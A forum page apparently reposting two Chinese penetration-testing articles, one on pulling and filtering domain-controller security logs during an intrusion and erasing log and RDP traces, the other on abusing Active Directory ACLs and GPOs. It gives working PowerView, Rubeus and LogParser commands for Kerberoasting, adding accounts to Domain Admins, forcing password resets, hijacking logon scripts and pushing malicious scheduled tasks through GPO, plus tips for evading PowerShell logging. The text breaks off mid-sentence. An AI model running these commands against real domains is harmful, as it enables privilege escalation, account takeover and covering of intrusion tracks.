跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

  1. 域内日志一般以.evtx结尾,因此我们需要搜索域内日志可以使用dir指令 dir/s/b *.evtx /s:表示递归搜索,包括子目录。 /b:表示以简洁模式显示结果,只显示文件路径而不包括其他信息。 这里我们可以直接使用logparser工具导出域内的日志信息。(在域控主机中) logparser工具采用的是SQL查询的方式进行过滤。 使用下面的指令可以通过strings列和eventid列过滤出域内用户的登录行为。 LogParser.exe -i:evt -o:csv "SELECT RecordNumber,TimeWritten,EventID,Strings,Message into C:\log5.csv FROM Security where EventID='4624' and Strings LIKE '%|Kerberos|%|%.%.%.%|%' and Strings not LIKE '%|%$|%'" -i:输入文件类型 -o:输出文件类型 在正常的域渗透过程中,我们直接拿到域控,并且在域控的主机上进行操作导出日志一般的不现实的,一般采用下面的三种方式导出域控的日志或者是指定成员主机的日志进行分析: 1.VPN的方式; 2.通过搭建socks隧道的方式; 3.通过远程木马的方式; 通过VPN的方式查询日志一般来说,通过VPN连接目标主机,进入内网环境进行操作。 这里我们假定已经获得域管理的账号,通过域管理凭据进行导出日志分析。 1.查询主机的登录记录首先获得域控的日志存储位置 dir /s/b \\10.10.10.10\c$\security.evtx 通过copy指令可以将域控日志文件复制到本地。 copy \\10.10.10.10\c$\Windows\System32\winevt\Logs\ C:\Users\admins\Desktop\log 由于日志文件为隐藏文件,因此我们不能直接通过logparser导出所有.evtx文件(无法搜索到) 但是,可以使用logparser进行远程导出部分日志 LogParser.exe -i:EVT -o:CSV "SELECT * INTO C:\1.csv FROM \\RemoteServer\Security" LogParser.exe -i:EVT -o:CSV "SELECT * INTO C:\1.csv FROM \\10.10.10.10\Security" 2.查询在连接过程中日志的痕迹在我们进行查询日志痕迹的时候,必须先了解的是这些登录所用到的认证方式: windows默认使用的是ntml认证,而域网络中使用的是kerberos认证。简单来说,ntlm是主机与主机直接的交互认证,kerberos就是由第三方(域控)来认证。 域控只会给域内主机,域内账号下发凭据,因此在使用ip进行远程主机定位的操作时,使用的是ntlm认证,而使用域名或者机器名进行定位时,使用的是kerberos认证。 我们使用net use连接远程共享的过程也是一个登录的过程,因此只要有登录,那么就会在日志中有所体现。 使用dir和主机直接登录也同样。 日志查询分析发现,主机直接登录使用的是kerberos认证,而使用dir和net use的时候,如果定位远程主机的地方是使用ip,那么就是使用ntlm认证;反之,如果是使用域名或者机器名进行定位,那么就是使用kerberos进行定位。 成员主机net use连接域控主机NTLM认证数据包net use \\10.10.10.10\ipc$ 通过指令,我们可以知道,这一条指令的登录应该是使用ntlm认证。 经过多次测试,发现如果是一个成员主机使用上面语句连接域控主机,会在域控主机上面留下如下记录。 第一个包是验证连接域控主机的账号的凭证 第二个包是为该连接分配权限 第三个包是登录成功的数据包 在第三个包中,可以看到该成员主机的IP地址,机器名等信息。 S-1-0-0|-|-|0x0|S-1-5-21-3315874494-179465980-3412869843-1115|admins|VVVV1|0x889d1b|3|NtLmSsp |NTLM|WEB-2003|{00000000-0000-0000-0000-000000000000}|-|NTLM V1|128|0x0|-|10.10.10.3|1280|%%1833|-|-|-|%%1843|0x0|%%1842 因此只需要远程导出第三个登录成功的数据包,并且修改过滤规则就可以获得日志中通过net use连接域控的主机信息。 使用logParser工具进行导出日志文件: C:\Users\admins\Desktop\LogParser.exe -i:EVT -o:CSV "SELECT * INTO C:\Users\admins\Desktop\log\1.csv FROM \\10.10.10.10\Security where strings like '%|NTLM|%|%.%.%.%|%'" 通过strings字段,我们可以看到连接域控的主机的ip与主机名。 kerberos认证数据包net use \\ad-2016\ipc$ 经过多次测试,发现如果是一个成员主机使用上面语句连接域控主机,并且使用kerberos认证会在域控主机上面留下如下记录。 因此只需要远程导出第五个登录成功的数据包,并且修改过滤规则就可以获得日志中通过net use连接域控的主机信息。 S-1-0-0|-|-|0x0|S-1-5-21-3315874494-179465980-3412869843-500|Administrator|VVVV1.COM|0x7c3dbeb9|3|Kerberos|Kerberos||{CE15C23A-E7E3-3FC1-4A75-FDF339BEC822}|-|-|0|0x0|-|10.10.10.12|50364|%%1840|-|-|-|%%1843|0x0|%%1842 使用logParser工具进行导出日志文件: C:\Users\admins\Desktop\LogParser.exe -i:EVT -o:CSV "SELECT * INTO C:\Users\admins\Desktop\log\1.csv FROM \\10.10.10.10\Security where strings like '%|Kerberos|%|%.%.%.%|%' and strings not like '%|%$|%'" 通过strings字段,我们可以看到连接域控的主机的ip与账户。 成员主机dir连接域控主机NTLM认证数据包dir \\10.10.10.10\c$ 原理与net use相同,直接使用logparser导出即可。 C:\Users\admins\Desktop\LogParser.exe -i:EVT -o:CSV "SELECT * INTO C:\Users\admins\Desktop\log\1.csv FROM \\10.10.10.10\Security where strings like '%|NTLM|%|%.%.%.%|%'" kerberos认证数据包dir \\ad-2016\c$ 原理与net use相同,直接使用logparser导出即可。 C:\Users\admins\Desktop\LogParser.exe -i:EVT -o:CSV "SELECT * INTO C:\Users\admins\Desktop\log\1.csv FROM \\10.10.10.10\Security where strings like '%|Kerberos|%|%.%.%.%|%' and strings not like '%|%$|%'" 成员主机连接成员主机dir \\10.10.10.10\c$ dir \\web-2003\c$ 第一个方式,也就是ntlm认证的方式是只在域控主机的日志中留下这一条日志痕迹,几乎没有什么用,主要的痕迹在被连接的主机的日志中体现。 第二个方式,也就是kerberos认证的方式,会在域控主机留下两条日志:请求TGT和请求ST日志。 查找日志的流程也是与上文相似,这里就不多叙述了。 成员主机自己登录只有使用域内用户的账户进行登录的用户才会有痕迹遗留在域控主机上,如果使用本地账户进行登录,只会在本机的日志中有所体现。 如果使用域内用户进行登录的话,在域控中的体现为使用kerberos进行认证,与上文中的kerberos认证数据包相同。 使用logParser工具进行导出日志文件: C:\Users\admins\Desktop\LogParser.exe -i:EVT -o:CSV "SELECT * INTO C:\Users\admins\Desktop\log\1.csv FROM \\10.10.10.10\Security where strings like '%|Kerberos|%|%.%.%.%|%' and strings not like '%|%$|%'" 通过socks代理的方式查询日志一般来说,当我们拿下一台边界主机,我们会搭建socks隧道,将自己本地的主机代理进入内网进行操作。 首先使用hash传递保证该域外主机拥有足够的权限。 经过测试,hash传递的操作不会在域控和socks隧道客户端主机产生日志痕迹。 1.查询主机的登录记录指令与操作与VPN方式相同。 2.查询在连接过程中日志的痕迹远程主机net use连接域控主机由于在socks环境下,Proxifier代理工具无法修改dns代理,导致无法正确解析域名和机器名,因此只能使用IP操作,走的是NTLM认证。 NTLM认证数据包net use \\10.10.10.10\ipc$ 通过指令,我们可以知道,这一条指令的登录应该是使用ntlm认证。 经过多次测试,发现如果是一个成员主机使用上面语句连接域控主机,会在域控主机上面留下如下记录。 第一个包是验证连接域控主机的账号的凭证 第二个包是为该连接分配权限 第三个包是登录成功的数据包 在第三个包中,可以看到该成员主机的IP地址,机器名等信息。 S-1-0-0|-|-|0x0|S-1-5-21-3315874494-179465980-3412869843-1115|admins|VVVV1|0x889d1b|3|NtLmSsp |NTLM|WEB-2003|{00000000-0000-0000-0000-000000000000}|-|NTLM V1|128|0x0|-|10.10.10.3|1280|%%1833|-|-|-|%%1843|0x0|%%1842 因此只需要远程导出第三个登录成功的数据包,并且修改过滤规则就可以获得日志中通过net use连接域控的主机信息。 使用logParser工具进行导出日志文件: C:\Users\admins\Desktop\LogParser.exe -i:EVT -o:CSV "SELECT * INTO C:\Users\admins\Desktop\log\1.csv FROM \\10.10.10.10\Security where strings like '%|NTLM|%|%.%.%.%|%'" 通过strings字段,我们可以看到连接域控的主机的ip与主机名。 远程dir连接域控主机NTLM认证数据包由于在socks环境下,Proxifier代理工具无法修改dns代理,导致无法正确解析域名和机器名,因此只能使用IP操作,走的是NTLM认证。 dir \\10.10.10.10\c$ 原理与net use相同,直接使用logparser导出即可。 C:\Users\admins\Desktop\LogParser.exe -i:EVT -o:CSV "SELECT * INTO C:\Users\admins\Desktop\log\1.csv FROM \\10.10.10.10\Security where strings like '%|NTLM|%|%.%.%.%|%'" 远程主机连接成员主机dir \\10.10.10.10\c$ 两个方式都是指在域控主机的日志中留下这一条日志痕迹,几乎没有什么用,主要的痕迹在被连接的主机的日志中体现。 查找日志的流程也是与上文相似,这里就不多叙述了。 PowerShell日志powershell日志一般会直接写入系统日志 但是,特殊的是,在正常配置情况下,powershell并不会保存其执行的命令日志,而只会保存powershell打开命令(ID:600)和powershell关闭命令(ID:403) 因此,在渗透过程中,如果我们获得的是交互式的shell,可以通过先打开powershell,再执行命令,那么日志中只会记录打开powershell的命令,而不会保存在powershell终端中执行的命令的记录。 但是如果在渗透过程中,我们获取到的是webshell,也就是半交互式的命令窗口,那么只能将命令汇总到一条语句,那么这条命令就会记录到日志中。 PowerShell脚本使用当我们使用PowerShell脚本执行命令的时候,首先需要执行一条命令 Powershell -ExecutionPolicy Bypass 用于绕过 PowerShell 执行策略。PowerShell 默认情况下会启用执行策略,限制脚本的执行权限。 执行策略是一种安全机制,用于控制是否允许执行脚本文件以及来自不受信任来源的脚本。默认情况下,PowerShell 的执行策略设置为 "Restricted" ,即不允许执行任何脚本文件。 通过在 PowerShell 命令行中使用 "Powershell -ExecutionPolicy Bypass",可以绕过执行策略限制,允许执行脚本文件。这将临时更改执行策略为 "Bypass",允许运行所有脚本。 假如我们即将导入的ps1脚本为SharpHound.ps1 Import-Module ./SharpHound.ps1 此时SharpHound模块已经被加载进入当前会话中 查看当前会话中所有已加载的模块 Get-Module 获取 SharpHound 模块中的所有命令列表 Get-Command -Module SharpHound 查看SharpHound使用帮助 Get-Help SharpHound get-help Invoke-BloodHound -full 删除日志如果在渗透环境中,删除所有日志不仅不能掩盖我们的痕迹,反而会使我们的痕迹更加明显。 因此我们只能采取删除单条日志的方法,但是windows并没有提供,或者说不允许删除单条日志的操作,因此,只能使用其他的方法。 工具使用:https://github.com/3gstudent/Eventlogedit-evtx--Evolution 删除单条日志原理:https://3gstudent.github.io/Windows-XML-Event-Log-(EVTX)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4-%E4%B8%80-%E5%88%A0%E9%99%A4%E6%80%9D%E8%B7%AF%E4%B8%8E%E5%AE%9E%E4%BE%8B https://github.com/QAX-A-Team/EventCleaner 清除RDP登录痕迹https://blog.csdn.net/m0_37552052/article/details/82894963 https://blog.csdn.net/COCO56/article/details/102671007#:~:text=win10%E7%B3%BB%E7%BB%9F%E6%80%8E%E4%B9%88%E5%88%A0%E9%99%A4%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%E8%AE%B0%E5%BD%95%201%20%E6%8C%89win%2BR%E9%94%AE%E6%89%93%E5%BC%80%E8%BF%90%E8%A1%8C%EF%BC%8C%E8%BE%93%E5%85%A5%20regedit%201%20%E5%B9%B6%E7%A1%AE%E5%AE%9A%E3%80%82%202,%E5%9C%A8%E5%9C%B0%E5%9D%80%E6%A0%8F%E4%B8%AD%E8%BE%93%E5%85%A5%E4%BB%A5%E4%B8%8B%E5%9C%B0%E5%9D%80%E7%84%B6%E5%90%8E%E5%9B%9E%E8%BD%A6%E5%8D%B3%E5%8F%AF%E8%BF%9B%E8%A1%8C%E7%9C%8B%E5%88%B0%E6%89%80%E6%9C%89%E7%9A%84%E5%B7%B2%E8%BF%9E%E6%8E%A5%E8%BF%87%E7%9A%84%E7%94%B5%E8%84%91%E3%80%82%20%E8%AE%A1%E7%AE%97%E6%9C%BA%5CHKEY_CURRENT_USER%5CSoftware%5CMicrosoft%5CTerminal%20Server%20Client%5CDefault%201%203%20%E5%8F%B3%E9%94%AE%E7%82%B9%E5%87%BB%E9%9C%80%E8%A6%81%E7%AE%A1%E7%90%86%E7%9A%84%E8%AE%B0%E5%BD%95%E9%A1%B9%EF%BC%8C%E5%8F%AF%E4%BB%A5%E4%BF%AE%E6%94%B9%E6%88%96%E8%80%85%E5%88%A0%E9%99%A4%E6%AD%A4%E9%A1%B9%E3%80%82 https://blog.csdn.net/travelnight/article/details/122854895 事件ID:1149:记录了哪些源IP利用RDP方式成功登陆到了本机。注册表:HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\ 此路径记录了当前主机曾经登录过了哪些服务器。事件ID:5156日志:可以看到本机在什么时候访问了其他服务器的3389端口。4624 —— 帐户已成功登录 4625 —— 帐户无法登录 1149 —— 用户认证成功 转载于原文链接地址: https://forum.butian.net/share/3657
  2. 滥用活动目录ACLs\ACEs权限https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse https://www.cnblogs.com/nice0e3/p/15879624.html DACL和ACE是与访问控制相关的概念,常用于操作系统和网络环境中。以下是对它们的详细解释: DACL(Discretionary Access Control List):DACL是一种访问控制列表,用于确定谁可以访问特定对象(如文件、文件夹、注册表项等)。DACL是以访问控制条目(ACE)的形式组成的列表。ACE(Access Control Entry):ACE是DACL中的基本单元,用于授予或拒绝对对象的访问权限。每个ACE定义了一个安全主体(如用户、组、计算机等)以及该安全主体所具有的权限。在DACL中,每个ACE包含以下信息: 安全主体(SID):标识被授权或被拒绝访问权限的用户、组或计算机的唯一标识符。访问权限:表示特定操作或权限(如读取、写入、执行等)。访问掩码:指定了实际授予或拒绝的权限。辅助访问掩码:在某些情况下,用于指定其他条件或限制。当访问对象时,系统将根据DACL中的ACE进行验证。如果存在与用户身份匹配的ACE,并且该ACE授予了所请求的权限,访问将被允许。如果没有匹配的ACE,或者存在与用户身份匹配的ACE,但是该ACE拒绝了所请求的权限,访问将被拒绝。 域管理员的ACE如下 其中,我们关注的权限为如下几条 GenericAll - full rights to the object (add users to a group or reset user's password)GenericWrite - update object's attributes (i.e logon script)WriteOwner - change object owner to attacker controlled user take over the objectWriteDACL - modify object's ACEs and give attacker full control right over the objectAllExtendedRights - ability to add user to a group or reset passwordForceChangePassword - ability to change user's passwordSelf (Self-Membership) - ability to add yourself to a groupGenericAll - 对对象拥有完全权限(例如添加用户到组或重置用户密码) 。GenericWrite - 更新对象的属性(例如登录脚本) 。WriteOwner - 修改对象的所有者为攻击者控制的用户,接管该对象 。WriteDACL - 修改对象的ACEs,并授予攻击者对该对象的全部控制权限 。AllExtendedRights - 能够添加用户到组或重置密码 。ForceChangePassword - 能够更改用户的密码 。Self(Self-Membership)- 能够将自己添加到组中。Self-Membership - 这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象),也就是说,某个对象在某个组中是Self-Membership身份。GenericAll对用户账户的GenericAll权限使用PowerView工具,查看用户的GenericAll权限。 powershell -exec bypass Import-Module .\PowerView.ps1 //获取用户man1的AD对象的访问控制列表(ACL),筛选返回具有"GenericAll"权限的项 Get-ObjectAcl -SamAccountName man1 -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"} 可以看到spotless用户拥有对delegate的GenericAll权限,那么在已获得spotless用户权限的情况下,我们可以接管delegate用户。 **更改密码:**直接修改delegate用户的密码即可。net user <username><password> /domain **Kerberoasting攻击:**给delegate用户设置SPN,然后通过spotless用户的TGT来请求所有服务的ST,获取到delegate用户的HASH加密的ST,进行破解。# Set SPN Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"} # Get Hash .\Rubeus.exe kerberoast /user:<username> /nowrap # Clean SPN Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose https://github.com/ShutdownRepo/targetedKerberoast python3 targetedKerberoast.py -domain.local -u <username> -p password -v **ASREProast攻击:**可以通过禁用预身份验证来使用户ASREPRoastable ,然后对其进行 ASREProast攻击。Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304} 对用户组的GenericAll权限//获取到domain admins组的distinguishedName值 Get-NetGroup "domain admins" //获取Domain Admins组的ACL Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq " CN=Domain Admins,CN=Users,DC=vvvv1,DC=com"} 发现spotless用户拥有对Domain Admins组的GenericAll权限,可以进行攻击。 将自己(用户spotless)或其他用户添加到Domain Admin组中。 net group "domain admins" spotless /add /domain 也可以使用 Active Directory 或 PowerSploit 模块进行攻击。 # with active directory module Add-ADGroupMember -Identity "domain admins" -Members spotless # with Powersploit Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" 对机器账户或服务账户的GenericAll权限如果对机器账户或服务账户具有GenericAll权限或者GenericWrite权限,可以考虑使用基于资源的约束委派攻击,详情见《内网横向移动-基于资源的约束委派》;对于服务账户也可以考虑上文中的对用户账户的攻击方法;或者使用Shadow Credentials进行攻击;影子凭证 https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab http://www.hackdig.com/02/hack-599160.htm https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html WriteProperty对用户组的WriteProperty权限我们的受控用户对domain admins组有WriteProperty权限。 可以将该用户添加进入domain admins组来提升权限。 powershell -exec bypass Import-Module .\PowerView.ps1 Add-NetGroupUser -UserName user -GroupName "domain admins" -Domain "vvvv1.com" Self (Self-Membership)对用户组的Self (Self-Membership)权限我们的受控用户对domain admins组有Self (Self-Membership)的权限。 这个权限也是可以将用户添加进入组的权限,可以将该用户添加进入domain admins组来提升权限。 powershell -exec bypass Import-Module .\PowerView.ps1 Add-NetGroupUser -UserName user -GroupName "domain admins" -Domain "vvvv1.com" "WriteProperty (Self-Membership)" 和 "Self (Self-Membership)" 都是与自成员(Self-Membership)相关的属性,但它们在含义上有所不同。 "WriteProperty (Self-Membership)": 这个属性表示对象能够写入(修改)自身的属性。通常情况下,对象只能修改其他对象的属性,而不能直接修改自己的属性。但当设置了"WriteProperty (Self-Membership)"属性时,对象就可以修改自己的属性。"Self (Self-Membership)": 这个属性表示对象本身是其所在组或集合的成员。它与"WriteProperty (Self-Membership)"属性不同。"Self (Self-Membership)"属性表明对象本身是自己所在组或集合的一个成员,而"WriteProperty (Self-Membership)"属性则表明对象拥有修改自身属性的权限。总结:也就是说,如果对象类型不是ALL,而是Self-Membership,那么就代表,我们查询的这个用户对象是属于这个用户组的。 其中"WriteProperty (Self-Membership)"属性赋予对象修改自身属性的权限,也就可以将该对象加入组;而"Self (Self-Membership)"属性指示对象本身是其所在组或集合的成员,也可以将该对象加入组。 WriteProperty (Self-Membership)对用户组的WriteProperty (Self-Membership)权限我们的受控用户对domain admins组有WriteProperty (Self-Membership)的权限。 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} 这个权限也是可以将用户添加进入组的权限,可以将该用户添加进入domain admins组来提升权限。 net group "domain admins" spotless /add /domain "WriteProperty (Self-Membership)" 和 "Self (Self-Membership)" 都是与自成员(Self-Membership)相关的属性,但它们在含义上有所不同。 "WriteProperty (Self-Membership)": 这个属性表示对象能够写入(修改)自身的属性。通常情况下,对象只能修改其他对象的属性,而不能直接修改自己的属性。但当设置了"WriteProperty (Self-Membership)"属性时,对象就可以修改自己的属性。"Self (Self-Membership)": 这个属性表示对象本身是其所在组或集合的成员。它与"WriteProperty (Self-Membership)"属性不同。"Self (Self-Membership)"属性表明对象本身是自己所在组或集合的一个成员,而"WriteProperty (Self-Membership)"属性则表明对象拥有修改自身属性的权限。总结:也就是说,如果对象类型不是ALL,而是Self-Membership,那么就代表,我们查询的这个用户对象是属于这个用户组的。 其中"WriteProperty (Self-Membership)"属性赋予对象修改自身属性的权限,也就可以将该对象加入组;而"Self (Self-Membership)"属性指示对象本身是其所在组或集合的成员,也可以将该对象加入组。 ForceChangePassword对用户账户的ForceChangePassword权限如果我们的所控账户在目标账户的ACL中为"User-Force-Change-Password"对象类型,且具有"ExtendedRight"权限,那么我们可以在不知道用户当前密码的情况下重置用户的密码。 powershell -exec bypass Import-Module .\PowerView.ps1 Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} 使用工具PowerView修改密码。 Set-DomainUserPassword -Identity delegate -Verbose 或者使用如下语句 $c = Get-Credential Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose 或者总结成单行语句 Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose WriteOwner对用户组的WriteOwner权限在进行攻击之前,域管理员组Domain Admins的所有者是Domain Admins。 在对某个组的ACE进行枚举之后,如果我们发现一个受我们控制的用户spotless具有"WriteOwner"权限并且该权限适用于"ObjectType:All",那么就可以修改该组的所有者。 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} 我们可以将"Domain Admins"对象的所有者更改为我们的用户,这在我们的情况下是"spotless"。需要注意的是,使用"-Identity"指定的SID是"Domain Admins"组的SID。 Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose //You can also use the name instad of the SID (HTB: Reel) Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity "spotless" GenericWriteGenericWrite也是在Access Mask中进行标识,此权限能够更新目标对象的属性值,可以使用PowerView中的Set-DomainObject方法设置目标属性的值。 对用户账户的GenericWrite权限Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"} 所控用户spotless对另一个用户delegate拥有"WriteProperty"权限,且该权限适用于"Script-Path"对象类型。它允许攻击者覆盖delegate用户的登录脚本路径,这意味着下一次当delegate用户登录时,他们的系统将执行我们恶意的脚本。 Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" 可以看到delegate用户的登录脚本字段在AD中被更新。 对用户组的GenericWrite权限允许您将新用户(例如您自己)添加为组的成员。与上文中《GenericAll-对用户组的GenericAll权限》操作类似。 https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse # Create creds $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) # Add user to group Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose # Check user was added Get-DomainGroupMember -Identity "Group Name" | Select MemberName # Remove group member Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose WriteDACL + WriteOwner如果有一个组为test,你是该组的所有者。 或者使用PowerShell。 ([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value 您可以使用ADSI(Active Directory Service Interfaces)为自己赋予GenericAll权限。 $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow" $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE) $ADSI.psbase.commitchanges() 这样意味着您现在完全控制该组。 这实际上意味着您现在可以将新用户添加到该组中。 但是,好像无法使用Active Directory模块和Set-Acl / Get-Acl cmdlets来赋予权限。 $path = "AD:\CN=test,CN=Users,DC=offense,DC=local" $acl = Get-Acl -Path $path $ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow" $acl.AddAccessRule($ace) Set-Acl -Path $path -AclObject $acl 组策略配置(GPO)GPO是Group Policy Object(组策略对象)的缩写。它是Windows操作系统中的一种管理机制,用于集中管理和配置计算机和用户的操作系统设置。GPO允许系统管理员通过集中的策略定义和管理组织内计算机和用户的行为。 GPO主要用于: 配置操作系统设置:可以使用GPO来配置计算机和用户的各种操作系统设置,如安全设置、网络设置、注册表项、文件和文件夹权限等。分发软件安装:可以使用GPO将软件应用程序自动安装在用户或计算机上,从而简化软件部署和更新过程。实施安全策略:可以使用GPO来强制实施安全策略,例如密码策略、帐户锁定策略、防火墙设置等,以增强系统的安全性。管理用户配置:可以使用GPO来管理用户配置,例如映射网络驱动器、配置桌面设置、限制软件使用等。GPO是通过在Active Directory域环境中创建和链接到特定OU(组织单位)来实现的。管理员可以使用Group Policy Management Console(GPMC)工具来创建、编辑和管理GPO,并将其链接到特定的OU,以便将策略应用于特定的组织单位、用户组或计算机组。 有时候,特定的用户或组可能被授权管理组策略对象,就像"WP"用户一样。 也可以通过PowerView来进行查看。 powershell -exec bypass Import-Module .\PowerView.ps1 Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "VVVV1\WP"} 以下内容显示用户 "OFFENSE\spotless" 具有 WriteProperty、WriteDacl、WriteOwner 等权限,这些权限可能被攻击者利用。 枚举域内所有的GPO。 powershell -exec bypass Import-Module .\PowerView.ps1 Get-DomainGPO 如果我们想要专门搜索配置错误的 GPO,我们可以像下面这样串联多个来自 PowerSploit 的 cmdlet。 Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"} 给定策略查询对应计算机 Get-NetOU -GUID "{C9F46A61-773B-41A7-8AB0-5C65866D13EC}" | % {Get-NetComputer -ADSpath $_} 给定计算机查询其策略 Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName 给定策略查询对应的OU Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName 利用GPO权限进行攻击滥用这种错误配置并进行代码执行的一种方式是通过组策略创建即时计划任务利用三好学生的PowerShell脚本New-GPOImmediateTask.ps1进行攻击 https://github.com/3gstudent/Homework-of-Powershell/tree/master 由于脚本需要使用到PowerShell中的GroupPolicy模块,因此需要在服务管理器中安装远程服务器管理工具(RSAT)。 New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators man1 /add" -GPODisplayName "newGPO" -Verbose 上述操作将用户"spotless"添加到受损系统的本地管理员组。请注意,在执行代码之前,本地管理员组不包含用户"spotless"。 net localgroup administrators 如果我们观察Misconfigured Policy的GPO的计划任务,我们可以看到我们的恶意任务(evilTask)在那里。 以下是由New-GPOImmediateTask创建的XML文件,它代表了我们在GPO中的恶意计划任务。 <?xml version="1.0" encoding="utf-8"?> <ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"> <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0"> <Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U"> <Task version="1.3"> <RegistrationInfo> <Author>NT AUTHORITY\System</Author> <Description></Description> </RegistrationInfo> <Principals> <Principal id="Author"> <UserId>NT AUTHORITY\System</UserId> <RunLevel>HighestAvailable</RunLevel> <LogonType>S4U</LogonType> </Principal> </Principals> <Settings> <IdleSettings> <Duration>PT10M</Duration> <WaitTimeout>PT1H</WaitTimeout> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>false</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvailable> <AllowStartOnDemand>false</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>true</Hidden> <ExecutionTimeLimit>PT0S</ExecutionTimeLimit> <Priority>7</Priority> <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter> <RestartOnFailure> <Interval>PT15M</Interval> <Count>3</Count> </RestartOnFailure> </Settings> <Actions Context="Author"> <Exec> <Command>cmd</Command> <Arguments>/c net localgroup administrators spotless /add</Arguments> </Exec> </Actions> <Triggers> <TimeTrigger> <StartBoundary>%LocalTimeXmlEx%</StartBoundary> <EndBoundary>%LocalTimeXmlEx%</EndBoundary> <Enabled>true</Enabled> </TimeTrigger> </Triggers> </Task> </Properties> </ImmediateTaskV2> </ScheduledTasks> 通过滥用GPO(组策略)的用户和组功能,可以实现相同的权限提升。 请注意,在下面的文件中,第6行将用户"spotless"添加到本地管理员组 - 我们可以将用户更改为其他用户,添加另一个用户,甚至将用户添加到另一个组/多个组,因为我们可以修改显示位置的策略配置文件,这是由于GPO委派分配给了我们的用户"spotless"。 <?xml version="1.0" encoding="utf-8"?> <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"> <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}"> <Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)"> <Members> <Member name="spotless" action="ADD" sid="" /> </Members> </Properties> </Group> </Groups> 另外,我们还可以考虑利用登录/注销脚本、使用注册表进行自动运行、安装.msi文件、编辑服务以及类似的代码执行途径。 GroupPolicy 模块可以使用命令"Get-Module -List -Name GroupPolicy | select -expand ExportedCommands"来检查是否安装了GroupPolicy模块。如果需要,你可以使用命令"Install-WindowsFeature –Name GPMC"作为本地管理员安装它。 创建新的组策略对象(GPO)并将其与OU(组织单位)"Workstations"关联。 New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" 让位于"Workstations" 